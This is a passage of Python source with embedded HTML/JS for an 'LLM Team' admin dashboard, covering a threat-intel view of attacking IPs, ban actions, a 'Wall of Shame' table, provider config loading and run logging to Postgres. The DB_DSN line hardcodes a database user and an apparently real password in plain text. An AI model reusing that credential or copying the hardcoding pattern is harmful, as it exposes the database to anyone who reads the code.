chip.textContent = hopIp + ' (' + (typeof latency === 'number' ? latency.toFixed(0) + 'ms' : '?') + ')';
|
|
trVal.appendChild(chip);
|
|
if (i < hops.length - 1) {
|
|
var arrow = document.createElement('span'); arrow.style.cssText = 'color:#7a7872;font-size:8px';
|
|
arrow.textContent = '→'; trVal.appendChild(arrow);
|
|
}
|
|
});
|
|
trBox.appendChild(trVal);
|
|
wcGrid.appendChild(trBox);
|
|
}
|
|
}
|
|
|
|
// HTTP Status/Headers if available
|
|
if (d.webcheck.status && !d.webcheck.status.error) {
|
|
var st = d.webcheck.status;
|
|
var stBox = document.createElement('div'); stBox.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px';
|
|
var stLabel = document.createElement('span'); stLabel.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
stLabel.textContent = 'HTTP Status: ';
|
|
var stVal = document.createElement('span'); stVal.style.color = '#e8e6e3';
|
|
stVal.textContent = st.statusCode ? st.statusCode + ' (' + (st.responseTime||'?') + 'ms)' : 'No HTTP';
|
|
stBox.appendChild(stLabel); stBox.appendChild(stVal); wcGrid.appendChild(stBox);
|
|
}
|
|
if (d.webcheck.headers && !d.webcheck.headers.error) {
|
|
var hdrs = d.webcheck.headers;
|
|
var hdrKeys = Object.keys(hdrs).filter(function(k){return typeof hdrs[k] === 'string'}).slice(0,6);
|
|
if (hdrKeys.length) {
|
|
var hBox = document.createElement('div'); hBox.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;grid-column:1/-1;color:#7a7872;margin-top:2px';
|
|
hBox.textContent = 'Headers: ' + hdrKeys.map(function(k){return k+': '+hdrs[k].substring(0,40)}).join(' | ');
|
|
wcGrid.appendChild(hBox);
|
|
}
|
|
}
|
|
|
|
wcDiv.appendChild(wcGrid);
|
|
panel.appendChild(wcDiv);
|
|
}
|
|
|
|
// AI Analysis section
|
|
if (d.ai_analysis && !d.ai_analysis.error) {
|
|
var ai = d.ai_analysis;
|
|
var aiDiv = document.createElement('div');
|
|
var aTitle = document.createElement('div');
|
|
aTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:2px;color:#d946ef;margin-bottom:6px;font-weight:700';
|
|
aTitle.textContent = 'AI Threat Analysis (' + d.log_count + ' log entries)';
|
|
aiDiv.appendChild(aTitle);
|
|
|
|
var threatColor = {'critical':'#e05252','high':'#f59e0b','medium':'#e2b55a','low':'#7a7872','none':'#4ade80'};
|
|
var summaryDiv = document.createElement('div');
|
|
summaryDiv.style.cssText = 'display:grid;grid-template-columns:repeat(auto-fit,minmax(120px,1fr));gap:6px;margin-bottom:8px';
|
|
[
|
|
['Threat', ai.threat_level||'?', threatColor[ai.threat_level]||'#7a7872'],
|
|
['Type', ai.classification||'?', '#c084fc'],
|
|
['Confidence', ((ai.confidence||0)*100).toFixed(0)+'%', '#e2b55a'],
|
|
['Automated', ai.likely_automated?'YES':'No', ai.likely_automated?'#e05252':'#4ade80']
|
|
].forEach(function(f){
|
|
var box = document.createElement('div'); box.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px';
|
|
var label = document.createElement('span'); label.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
label.textContent = f[0] + ': ';
|
|
var val = document.createElement('span'); val.style.cssText = 'font-weight:700;color:'+f[2];
|
|
val.textContent = f[1];
|
|
box.appendChild(label); box.appendChild(val); summaryDiv.appendChild(box);
|
|
});
|
|
aiDiv.appendChild(summaryDiv);
|
|
|
|
if (ai.summary) {
|
|
var summ = document.createElement('div');
|
|
summ.style.cssText = 'font-size:11px;color:#e8e6e3;margin-bottom:6px;line-height:1.5';
|
|
summ.textContent = ai.summary; aiDiv.appendChild(summ);
|
|
}
|
|
if (ai.pattern) {
|
|
var pat = document.createElement('div');
|
|
pat.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#c084fc;margin-bottom:6px';
|
|
pat.textContent = 'Pattern: ' + ai.pattern; aiDiv.appendChild(pat);
|
|
}
|
|
if (ai.indicators && ai.indicators.length) {
|
|
var indDiv = document.createElement('div');
|
|
indDiv.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#7a7872;margin-bottom:6px';
|
|
indDiv.textContent = 'Indicators: ' + ai.indicators.join(' | '); aiDiv.appendChild(indDiv);
|
|
}
|
|
if (ai.recommendation) {
|
|
var rec = document.createElement('div');
|
|
rec.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#4ade80;border-left:2px solid #4ade80;padding-left:8px;margin-top:4px';
|
|
rec.textContent = 'Recommendation: ' + ai.recommendation; aiDiv.appendChild(rec);
|
|
}
|
|
panel.appendChild(aiDiv);
|
|
} else if (d.ai_analysis && d.ai_analysis.error) {
|
|
var errDiv = document.createElement('div');
|
|
errDiv.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#e05252';
|
|
errDiv.textContent = 'AI error: ' + d.ai_analysis.error;
|
|
panel.appendChild(errDiv);
|
|
}
|
|
// Saved indicator
|
|
if (d.saved) {
|
|
var savedDiv = document.createElement('div');
|
|
savedDiv.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#4ade80;margin-top:8px;text-transform:uppercase;letter-spacing:1px';
|
|
savedDiv.textContent = '✓ Saved to Wall of Shame database';
|
|
panel.appendChild(savedDiv);
|
|
} else if (d.save_error) {
|
|
var seDiv = document.createElement('div');
|
|
seDiv.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#e05252;margin-top:8px';
|
|
seDiv.textContent = 'Save error: ' + d.save_error;
|
|
panel.appendChild(seDiv);
|
|
}
|
|
} catch(e) {
|
|
panel.textContent = 'Error: ' + e.message;
|
|
panel.style.color = '#e05252';
|
|
}
|
|
}
|
|
|
|
async function banAction(ip, action) {
|
|
try {
|
|
var r = await fetch('/api/admin/security/ban', {
|
|
method: 'POST', headers: {'Content-Type': 'application/json'},
|
|
body: JSON.stringify({ip: ip, action: action})
|
|
});
|
|
var d = await r.json();
|
|
if (d.ok) {
|
|
var el = document.getElementById('ip-' + ip.replace(/\./g, '-'));
|
|
if (el) { el.style.transition = 'opacity 0.3s'; el.style.opacity = '0.3'; }
|
|
setTimeout(function() { loadThreats(); }, 500);
|
|
} else { alert('Error: ' + (d.error || 'unknown')); }
|
|
} catch(e) { alert('Error: ' + e.message); }
|
|
}
|
|
|
|
async function loadWallOfShame() {
|
|
var view = document.getElementById('log-view');
|
|
view.textContent = '';
|
|
try {
|
|
var r = await fetch('/api/admin/wall-of-shame?sort=enriched_at&order=desc');
|
|
var d = await r.json();
|
|
var entries = d.entries || [];
|
|
if (!entries.length) {
|
|
var e = document.createElement('div'); e.className = 'empty';
|
|
e.textContent = 'No enriched IPs yet. Use the "Enrich" button on Threat Intel to scan IPs.';
|
|
view.appendChild(e); return;
|
|
}
|
|
|
|
// Stats bar
|
|
var stats = document.createElement('div');
|
|
stats.style.cssText = 'display:grid;grid-template-columns:repeat(5,1fr);gap:8px;margin-bottom:16px';
|
|
var total = entries.length;
|
|
var crit = entries.filter(function(e){return e.threat_level==='critical'}).length;
|
|
var high = entries.filter(function(e){return e.threat_level==='high'}).length;
|
|
var proxies = entries.filter(function(e){return e.is_proxy}).length;
|
|
var automated = entries.filter(function(e){return e.likely_automated}).length;
|
|
[{v:total,l:'Total Profiled',c:'#d946ef'},{v:crit,l:'Critical',c:'#e05252'},{v:high,l:'High',c:'#f59e0b'},{v:proxies,l:'Proxies',c:'#e05252'},{v:automated,l:'Automated',c:'#c084fc'}].forEach(function(s){
|
|
var box = document.createElement('div');
|
|
box.style.cssText = 'background:rgba(0,0,0,0.3);border:2px solid #2a2d35;border-radius:2px;padding:12px;text-align:center;backdrop-filter:blur(16px)';
|
|
var val = document.createElement('div');
|
|
val.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:20px;font-weight:700;color:'+s.c;
|
|
val.textContent = s.v;
|
|
var lab = document.createElement('div');
|
|
lab.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:1.5px;color:#7a7872;margin-top:4px';
|
|
lab.textContent = s.l;
|
|
box.appendChild(val); box.appendChild(lab); stats.appendChild(box);
|
|
});
|
|
view.appendChild(stats);
|
|
|
|
// Table
|
|
var table = document.createElement('div');
|
|
table.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px';
|
|
|
|
// Header
|
|
var hdr = document.createElement('div');
|
|
hdr.style.cssText = 'display:grid;grid-template-columns:130px 70px 100px 1fr 80px 60px;gap:8px;padding:8px 12px;border-bottom:2px solid #2a2d35;color:#7a7872;text-transform:uppercase;letter-spacing:1px;font-size:8px;font-weight:700';
|
|
['IP','Threat','Type','Summary','Country','Ports'].forEach(function(h){
|
|
var cell = document.createElement('span'); cell.textContent = h; hdr.appendChild(cell);
|
|
});
|
|
table.appendChild(hdr);
|
|
|
|
entries.forEach(function(e) {
|
|
var row = document.createElement('div');
|
|
row.style.cssText = 'display:grid;grid-template-columns:130px 70px 100px 1fr 80px 60px;gap:8px;padding:8px 12px;border-bottom:1px solid rgba(42,45,53,0.3);align-items:center;cursor:pointer;transition:background 0.1s';
|
|
row.onmouseenter = function(){row.style.background='rgba(217,70,239,0.03)'};
|
|
row.onmouseleave = function(){row.style.background='transparent'};
|
|
|
|
// IP
|
|
var ipCell = document.createElement('span'); ipCell.style.cssText = 'font-weight:700;color:#e8e6e3';
|
|
ipCell.textContent = e.ip; row.appendChild(ipCell);
|
|
|
|
// Threat
|
|
var threatColors = {critical:'#e05252',high:'#f59e0b',medium:'#e2b55a',low:'#7a7872'};
|
|
var tCell = document.createElement('span'); tCell.style.cssText = 'font-weight:700;color:'+(threatColors[e.threat_level]||'#7a7872');
|
|
tCell.textContent = (e.threat_level||'?').toUpperCase(); row.appendChild(tCell);
|
|
|
|
// Type
|
|
var cCell = document.createElement('span'); cCell.style.color = '#c084fc';
|
|
cCell.textContent = e.classification || e.attack_type || '?'; row.appendChild(cCell);
|
|
|
|
// Summary
|
|
var sCell = document.createElement('span'); sCell.style.cssText = 'color:#7a7872;overflow:hidden;text-overflow:ellipsis;white-space:nowrap';
|
|
sCell.textContent = e.summary || ''; sCell.title = e.summary || ''; row.appendChild(sCell);
|
|
|
|
// Country
|
|
var coCell = document.createElement('span'); coCell.style.color = '#e8e6e3';
|
|
coCell.textContent = e.country_code || '?'; row.appendChild(coCell);
|
|
|
|
// Ports
|
|
var pCell = document.createElement('span'); pCell.style.color = '#e05252';
|
|
var ports = e.open_ports || [];
|
|
pCell.textContent = ports.length ? ports.join(',') : '-'; row.appendChild(pCell);
|
|
|
|
// Click to expand detail
|
|
var detail = document.createElement('div');
|
|
detail.style.cssText = 'display:none;grid-column:1/-1;padding:10px 0;border-bottom:1px solid rgba(217,70,239,0.15)';
|
|
row.onclick = function() {
|
|
if (detail.style.display === 'none') {
|
|
detail.style.display = 'block';
|
|
detail.textContent = '';
|
|
var grid = document.createElement('div');
|
|
grid.style.cssText = 'display:grid;grid-template-columns:repeat(auto-fit,minmax(180px,1fr));gap:6px;font-size:10px';
|
|
var fields = [
|
|
['ISP', e.isp], ['Org', e.org], ['ASN', e.asn],
|
|
['City', (e.city||'?')+', '+(e.country||'?')],
|
|
['Proxy', e.is_proxy?'YES':'No'], ['Hosting', e.is_hosting?'YES':'No'],
|
|
['Confidence', ((e.confidence||0)*100).toFixed(0)+'%'],
|
|
['Automated', e.likely_automated?'YES':'No'],
|
|
['Blocklists', (e.blocklist_count||0)+'/'+(e.blocklist_total||0)],
|
|
['Log Entries', e.log_count||0],
|
|
['Scanned', e.enriched_at ? new Date(e.enriched_at).toLocaleString() : '?'],
|
|
['Updated', e.updated_at ? new Date(e.updated_at).toLocaleString() : '?']
|
|
];
|
|
fields.forEach(function(f) {
|
|
var box = document.createElement('div');
|
|
var label = document.createElement('span'); label.style.cssText = 'color:#7a7872;font-size:8px;text-transform:uppercase;letter-spacing:1px';
|
|
label.textContent = f[0]+': ';
|
|
var val = document.createElement('span');
|
|
val.style.color = (f[0]==='Proxy'&&e.is_proxy)||(f[0]==='Hosting'&&e.is_hosting)||(f[0]==='Automated'&&e.likely_automated) ? '#e05252' : '#e8e6e3';
|
|
val.textContent = f[1];
|
|
box.appendChild(label); box.appendChild(val); grid.appendChild(box);
|
|
});
|
|
detail.appendChild(grid);
|
|
if (e.pattern) {
|
|
var pat = document.createElement('div');
|
|
pat.style.cssText = 'margin-top:6px;color:#c084fc;font-size:10px';
|
|
pat.textContent = 'Pattern: ' + e.pattern; detail.appendChild(pat);
|
|
}
|
|
if (e.recommendation) {
|
|
var rec = document.createElement('div');
|
|
rec.style.cssText = 'margin-top:4px;color:#4ade80;border-left:2px solid #4ade80;padding-left:8px;font-size:10px';
|
|
rec.textContent = 'Rec: ' + e.recommendation; detail.appendChild(rec);
|
|
}
|
|
if (e.indicators && e.indicators.length) {
|
|
var ind = document.createElement('div');
|
|
ind.style.cssText = 'margin-top:4px;color:#7a7872;font-size:9px';
|
|
ind.textContent = 'Indicators: ' + e.indicators.join(' | '); detail.appendChild(ind);
|
|
}
|
|
} else {
|
|
detail.style.display = 'none';
|
|
}
|
|
};
|
|
table.appendChild(row);
|
|
table.appendChild(detail);
|
|
});
|
|
view.appendChild(table);
|
|
} catch(e) {
|
|
var err = document.createElement('div'); err.className = 'empty'; err.textContent = 'Error: ' + e.message;
|
|
view.appendChild(err);
|
|
}
|
|
}
|
|
|
|
loadLogs();
|
|
setInterval(function() { if (currentSource !== 'runs' && currentSource !== 'threats' && currentSource !== 'shame') loadLogs(); }, 10000);
|
|
</script>
|
|
</body></html>"""
|
|
|
|
|
|
CONFIG_PATH = "/root/llm_team_config.json"
|
|
DEFAULT_CONFIG = {
|
|
"providers": {
|
|
"ollama": {"enabled": True, "base_url": "http://localhost:11434", "timeout": 300},
|
|
"openrouter": {"enabled": False, "base_url": "https://openrouter.ai/api/v1", "api_key": "", "timeout": 120},
|
|
"openai": {"enabled": False, "base_url": "https://api.openai.com/v1", "api_key": "", "timeout": 120},
|
|
"anthropic": {"enabled": False, "base_url": "https://api.anthropic.com/v1", "api_key": "", "timeout": 120},
|
|
},
|
|
"disabled_models": [],
|
|
"cloud_models": [],
|
|
"timeouts": {"global": 300, "per_model": {}},
|
|
}
|
|
|
|
def load_dotenv():
|
|
for p in ["/root/.env", "/home/profit/.env"]:
|
|
if os.path.exists(p):
|
|
with open(p) as f:
|
|
for line in f:
|
|
line = line.strip()
|
|
if line and not line.startswith("#") and "=" in line:
|
|
k, v = line.split("=", 1)
|
|
os.environ.setdefault(k.strip(), v.strip())
|
|
|
|
load_dotenv()
|
|
|
|
def load_config():
|
|
if os.path.exists(CONFIG_PATH):
|
|
with open(CONFIG_PATH) as f:
|
|
cfg = json.load(f)
|
|
# merge any missing defaults
|
|
for k, v in DEFAULT_CONFIG.items():
|
|
cfg.setdefault(k, v)
|
|
for k, v in DEFAULT_CONFIG["providers"].items():
|
|
cfg["providers"].setdefault(k, v)
|
|
return cfg
|
|
return json.loads(json.dumps(DEFAULT_CONFIG))
|
|
|
|
def save_config(cfg):
|
|
with open(CONFIG_PATH, "w") as f:
|
|
json.dump(cfg, f, indent=2)
|
|
|
|
def get_api_key(provider_name):
|
|
cfg = load_config()
|
|
prov = cfg["providers"].get(provider_name, {})
|
|
key = prov.get("api_key", "")
|
|
if key:
|
|
return key
|
|
env_map = {"openrouter": "OPENROUTER_API_KEY", "openai": "OPENAI_API_KEY", "anthropic": "ANTHROPIC_API_KEY"}
|
|
return os.environ.get(env_map.get(provider_name, ""), "")
|
|
|
|
DB_DSN = "dbname=knowledge_base user=kbuser password=IPbLBA0EQI8u4TeM2YZrbm1OAy5nSwqC host=localhost"
|
|
|
|
def get_db():
|
|
return psycopg2.connect(DB_DSN)
|
|
|
|
def save_run(mode, prompt, config_data, responses):
|
|
models = list({r.get("model", "") for r in responses if r.get("model")})
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute(
|
|
"INSERT INTO team_runs (mode, prompt, config, responses, models_used) VALUES (%s, %s, %s, %s, %s)",
|
|
(mode, prompt, json.dumps(config_data), json.dumps(responses), models)
|
|
)
|
|
conn.commit()
|
|
except Exception as e:
|
|
print(f"[DB] save_run error: {e}")
|
|
|
|
HTML = r"""
|
|
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>LLM Team</title>
|
|
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
|
<style>
|
|
:root {
|
|
--bg: #08090c; --surface: rgba(14,16,22,0.82); --surface2: rgba(20,22,30,0.7); --border: #2a2d35;
|
|
--text: #e8e6e3; --text2: #7a7872; --accent: #e2b55a; --accent2: #f0cc74;
|
|
--green: #4ade80; --orange: #f59e0b; --red: #e05252; --blue: #5b9cf5;
|
|
--glow: rgba(226,181,90,0.06);
|
|
}
|
|
* { box-sizing: border-box; margin: 0; padding: 0; }
|
|
body { font-family: 'Inter', -apple-system, sans-serif; background: var(--bg); color: var(--text); min-height: 100vh; overflow-x: hidden; }
|
|
canvas#bg-grid { position: fixed; inset: 0; z-index: 0; pointer-events: none; }
|
|
.scanlines { position: fixed; inset: 0; z-index: 1; pointer-events: none; background: repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(0,0,0,0.02) 2px, rgba(0,0,0,0.02) 4px); }
|
|
.vignette { position: fixed; inset: 0; z-index: 1; pointer-events: none; background: radial-gradient(ellipse at center, transparent 40%, rgba(0,0,0,0.5) 100%); }
|
|
.container { max-width: 1440px; margin: 0 auto; padding: 16px 28px; position: relative; z-index: 10; }
|
|
header { display: flex; align-items: center; gap: 14px; padding: 18px 0; border-bottom: 2px solid var(--border); margin-bottom: 22px; }
|
|
header h1 { font-family: 'JetBrains Mono', monospace; font-size: 20px; font-weight: 700; letter-spacing: -0.5px; }
|
|
header h1 span { color: var(--accent); }
|
|
header .badge { background: rgba(0,0,0,0.3); border: 2px solid var(--border); padding: 4px 12px; border-radius: 2px; font-size: 10px; color: var(--text2); font-weight: 600; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; backdrop-filter: blur(10px); }
|
|
header .badge .dot { display: inline-block; width: 6px; height: 6px; border-radius: 50%; background: var(--green); margin-right: 6px; vertical-align: middle; box-shadow: 0 0 8px var(--green); animation: pulse-dot 2s ease-in-out infinite; }
|
|
@keyframes pulse-dot { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } }
|
|
.grid { display: grid; grid-template-columns: 420px 1fr; gap: 18px; align-items: start; }
|
|
.panel { background: var(--surface); border: 2px solid var(--border); border-radius: 2px; padding: 20px; backdrop-filter: blur(16px); position: relative; }
|
|
.panel::before { content: ''; position: absolute; top: -1px; left: 16px; right: 16px; height: 1px; background: linear-gradient(90deg, transparent, rgba(226,181,90,0.15), transparent); }
|
|
.panel h2 { font-family: 'JetBrains Mono', monospace; font-size: 10px; text-transform: uppercase; letter-spacing: 2px; color: var(--text2); margin-bottom: 14px; font-weight: 600; }
|
|
.mode-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 5px; margin-bottom: 16px; }
|
|
.mode-tab { padding: 8px 6px; background: rgba(0,0,0,0.3); border: 2px solid transparent; border-radius: 2px; color: var(--text2); cursor: pointer; text-align: center; font-size: 11px; font-weight: 600; transition: all 0.15s; font-family: 'Inter', sans-serif; }
|
|
.mode-tab:hover { border-color: var(--accent); color: var(--text); background: var(--glow); }
|
|
.mode-tab.active { border-color: var(--accent); background: var(--glow); color: var(--accent); box-shadow: 0 0 16px rgba(226,181,90,0.08), inset 0 1px 0 rgba(226,181,90,0.1); }
|
|
.mode-tab small { display: block; font-weight: 400; font-size: 9px; margin-top: 2px; opacity: 0.5; font-family: 'JetBrains Mono', monospace; }
|
|
.mode-tab.crazy { background: linear-gradient(135deg, rgba(20,5,35,0.8), rgba(40,15,60,0.8)); border-color: rgba(168,85,247,0.2); }
|
|
.mode-tab.crazy:hover { border-color: #a855f7; }
|
|
.mode-tab.crazy.active { background: linear-gradient(135deg, rgba(40,15,60,0.9), rgba(65,25,95,0.9)); border-color: #a855f7; color: #c084fc; box-shadow: 0 0 16px rgba(168,85,247,0.12); }
|
|
.model-list { display: flex; flex-direction: column; gap: 4px; margin-bottom: 14px; }
|
|
.model-card { display: flex; align-items: center; gap: 10px; padding: 7px 10px; background: rgba(0,0,0,0.25); border: 2px solid var(--border); border-radius: 2px; cursor: pointer; transition: all 0.15s; user-select: none; }
|
|
.model-card:hover { border-color: rgba(226,181,90,0.3); }
|
|
.model-card.selected { border-color: var(--accent); background: var(--glow); }
|
|
.model-card .check { width: 16px; height: 16px; border: 2px solid var(--border); border-radius: 1px; display: flex; align-items: center; justify-content: center; font-size: 10px; flex-shrink: 0; transition: all 0.15s; }
|
|
.model-card.selected .check { background: var(--accent); border-color: var(--accent); color: #08090c; }
|
|
.model-card .info { flex: 1; min-width: 0; }
|
|
.model-card .name { font-weight: 600; font-size: 12px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
|
.model-card .meta { font-size: 10px; color: var(--text2); font-family: 'JetBrains Mono', monospace; }
|
|
.prov-badge { font-size: 8px; padding: 2px 6px; border-radius: 1px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.8px; font-family: 'JetBrains Mono', monospace; border: 1px solid; }
|
|
.prov-badge.ollama { background: rgba(74,222,128,0.08); color: var(--green); border-color: rgba(74,222,128,0.2); }
|
|
.prov-badge.openrouter { background: rgba(91,156,245,0.08); color: var(--blue); border-color: rgba(91,156,245,0.2); }
|
|
.prov-badge.openai { background: rgba(226,181,90,0.08); color: var(--accent2); border-color: rgba(226,181,90,0.2); }
|
|
.prov-badge.anthropic { background: rgba(236,72,153,0.08); color: #ec4899; border-color: rgba(236,72,153,0.2); }
|
|
.config-section { margin-bottom: 10px; }
|
|
.config-row { display: flex; gap: 8px; align-items: center; margin-bottom: 6px; font-size: 12px; }
|
|
.config-row label { width: 90px; color: var(--text2); flex-shrink: 0; font-weight: 600; font-family: 'JetBrains Mono', monospace; font-size: 10px; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.config-row select, .config-row input { flex: 1; background: rgba(0,0,0,0.4); border: 2px solid var(--border); color: var(--text); border-radius: 2px; padding: 6px 8px; font-size: 12px; }
|
|
.config-row select:focus, .config-row input:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent); }
|
|
.pipeline-step { display: flex; align-items: center; gap: 8px; padding: 7px; margin-bottom: 4px; background: rgba(0,0,0,0.25); border: 1px solid var(--border); border-radius: 2px; font-size: 12px; }
|
|
.pipeline-step .step-num { width: 22px; height: 22px; background: var(--accent); color: #08090c; border-radius: 2px; display: flex; align-items: center; justify-content: center; font-weight: 700; font-size: 11px; flex-shrink: 0; font-family: 'JetBrains Mono', monospace; }
|
|
.pipeline-step select, .pipeline-step input { background: rgba(0,0,0,0.4); border: 2px solid var(--border); color: var(--text); border-radius: 2px; padding: 4px 6px; font-size: 11px; }
|
|
.pipeline-step input { flex: 1; }
|
|
.pipeline-step .remove-step { background: none; border: none; color: var(--red); cursor: pointer; font-size: 14px; padding: 0 4px; opacity: 0.6; transition: opacity 0.15s; }
|
|
.pipeline-step .remove-step:hover { opacity: 1; }
|
|
.add-step-btn { width: 100%; padding: 7px; background: transparent; border: 2px dashed var(--border); border-radius: 2px; color: var(--text2); cursor: pointer; font-size: 11px; margin-bottom: 14px; transition: all 0.15s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.add-step-btn:hover { border-color: var(--accent); color: var(--accent); }
|
|
.prompt-area { width: 100%; min-height: 90px; background: rgba(0,0,0,0.4); border: 2px solid var(--border); border-radius: 2px; color: var(--text); padding: 14px; font-size: 13px; font-family: 'Inter', sans-serif; resize: vertical; margin-bottom: 10px; line-height: 1.5; }
|
|
.prompt-area:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent), 0 0 20px rgba(226,181,90,0.06); }
|
|
.prompt-area::placeholder { color: var(--text2); opacity: 0.5; font-family: 'JetBrains Mono', monospace; font-size: 12px; }
|
|
.run-btn { width: 100%; padding: 12px; background: var(--accent); color: #08090c; border: none; border-radius: 2px; font-size: 13px; font-weight: 700; cursor: pointer; transition: all 0.15s; letter-spacing: 1px; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; }
|
|
.run-btn:hover { background: var(--accent2); box-shadow: 0 0 24px rgba(226,181,90,0.2), 0 0 60px rgba(226,181,90,0.06); transform: translateY(-1px); }
|
|
.run-btn:active { transform: translateY(0); }
|
|
.run-btn:disabled { opacity: 0.3; cursor: not-allowed; filter: none; transform: none; box-shadow: none; }
|
|
.output-area { display: flex; flex-direction: column; gap: 10px; }
|
|
.output-card { background: rgba(0,0,0,0.25); border: 2px solid var(--border); border-radius: 2px; overflow: hidden; backdrop-filter: blur(8px); }
|
|
.output-card .card-header { display: flex; align-items: center; gap: 8px; padding: 10px 14px; border-bottom: 2px solid var(--border); font-size: 12px; font-weight: 600; font-family: 'JetBrains Mono', monospace; }
|
|
.output-card .card-header .dot { width: 8px; height: 8px; border-radius: 1px; flex-shrink: 0; }
|
|
.output-card .card-header .role-tag { margin-left: auto; font-size: 9px; font-weight: 600; color: var(--text2); background: rgba(0,0,0,0.4); padding: 2px 8px; border-radius: 1px; border: 1px solid var(--border); text-transform: uppercase; letter-spacing: 1px; font-family: 'JetBrains Mono', monospace; }
|
|
.output-card .card-body { padding: 14px; font-size: 13px; line-height: 1.7; white-space: pre-wrap; max-height: 500px; overflow-y: auto; }
|
|
.synthesis-card { border-color: var(--accent); }
|
|
.synthesis-card .card-header { background: var(--glow); }
|
|
.synthesis-card::before { content: ''; position: absolute; top: -1px; left: 0; right: 0; height: 1px; background: var(--accent); opacity: 0.3; }
|
|
.error-card { border-color: var(--red); }
|
|
.error-card .card-header { background: rgba(224,82,82,0.08); }
|
|
.error-card .card-body { color: var(--red); font-family: 'JetBrains Mono', monospace; font-size: 12px; }
|
|
.error-card .error-link { display: block; padding: 6px 14px 10px; font-family: 'JetBrains Mono', monospace; font-size: 9px; text-transform: uppercase; letter-spacing: 1px; color: var(--red); opacity: 0.6; text-decoration: none; }
|
|
.error-card .error-link:hover { opacity: 1; text-decoration: underline; }
|
|
.crazy-card { border-color: #a855f7; }
|
|
.crazy-card .card-header { background: rgba(168,85,247,0.08); }
|
|
.status-bar { display: flex; align-items: center; gap: 8px; padding: 10px 14px; background: rgba(0,0,0,0.3); border: 2px solid var(--border); border-radius: 2px; font-size: 11px; color: var(--text2); font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.spinner { width: 14px; height: 14px; border: 2px solid var(--border); border-top-color: var(--accent); border-radius: 50%; animation: spin 0.7s linear infinite; }
|
|
@keyframes spin { to { transform: rotate(360deg); } }
|
|
.progress-panel { background: rgba(8,9,12,0.97); border: 2px solid #d946ef; border-radius: 2px; padding: 12px 14px; position: sticky; top: 0; z-index: 50; backdrop-filter: blur(20px); margin-bottom: 10px; transition: opacity 2s, box-shadow 0.3s; box-shadow: 0 4px 24px rgba(217,70,239,0.15), 0 0 40px rgba(0,0,0,0.5); }
|
|
.progress-panel.done { border-color: #4ade80; box-shadow: 0 2px 16px rgba(74,222,128,0.15); }
|
|
.progress-header { display: flex; align-items: center; justify-content: space-between; margin-bottom: 8px; }
|
|
.progress-header .prog-mode { font-family: 'JetBrains Mono', monospace; font-size: 10px; text-transform: uppercase; letter-spacing: 1.5px; color: #d946ef; font-weight: 700; }
|
|
.progress-header .prog-time { font-family: 'JetBrains Mono', monospace; font-size: 10px; color: #f0abfc; letter-spacing: 0.5px; }
|
|
.progress-track { height: 8px; background: rgba(0,0,0,0.5); border: 1px solid rgba(217,70,239,0.3); border-radius: 2px; overflow: hidden; margin-bottom: 6px; }
|
|
.progress-fill { height: 100%; background: linear-gradient(90deg, #d946ef, #a855f7, #22d3ee); transition: width 0.4s ease; box-shadow: 0 0 14px rgba(217,70,239,0.4); position: relative; }
|
|
.progress-fill::after { content: ''; position: absolute; inset: 0; background: linear-gradient(90deg, transparent 60%, rgba(255,255,255,0.2)); animation: progress-shimmer 2s ease-in-out infinite; }
|
|
@keyframes progress-shimmer { 0%,100% { transform: translateX(-100%); } 50% { transform: translateX(100%); } }
|
|
.progress-steps { display: flex; gap: 4px; margin-bottom: 6px; }
|
|
.progress-step { flex: 1; height: 4px; background: rgba(217,70,239,0.15); border-radius: 1px; transition: background 0.3s; }
|
|
.progress-step.done { background: linear-gradient(90deg, #d946ef, #4ade80); }
|
|
.progress-step.active { background: #d946ef; animation: step-pulse 1s ease-in-out infinite; box-shadow: 0 0 6px rgba(217,70,239,0.4); }
|
|
@keyframes step-pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.4; } }
|
|
.progress-detail { font-family: 'JetBrains Mono', monospace; font-size: 10px; color: #e0b0ff; display: flex; justify-content: space-between; }
|
|
.progress-detail .prog-substep { max-width: 70%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
|
.progress-detail .prog-stats { color: #c084fc; opacity: 0.7; }
|
|
.prog-metrics { display: grid; grid-template-columns: repeat(auto-fit, minmax(90px, 1fr)); gap: 6px; margin-top: 8px; padding-top: 8px; border-top: 1px solid rgba(217,70,239,0.15); }
|
|
.prog-metric { text-align: center; padding: 4px 2px; }
|
|
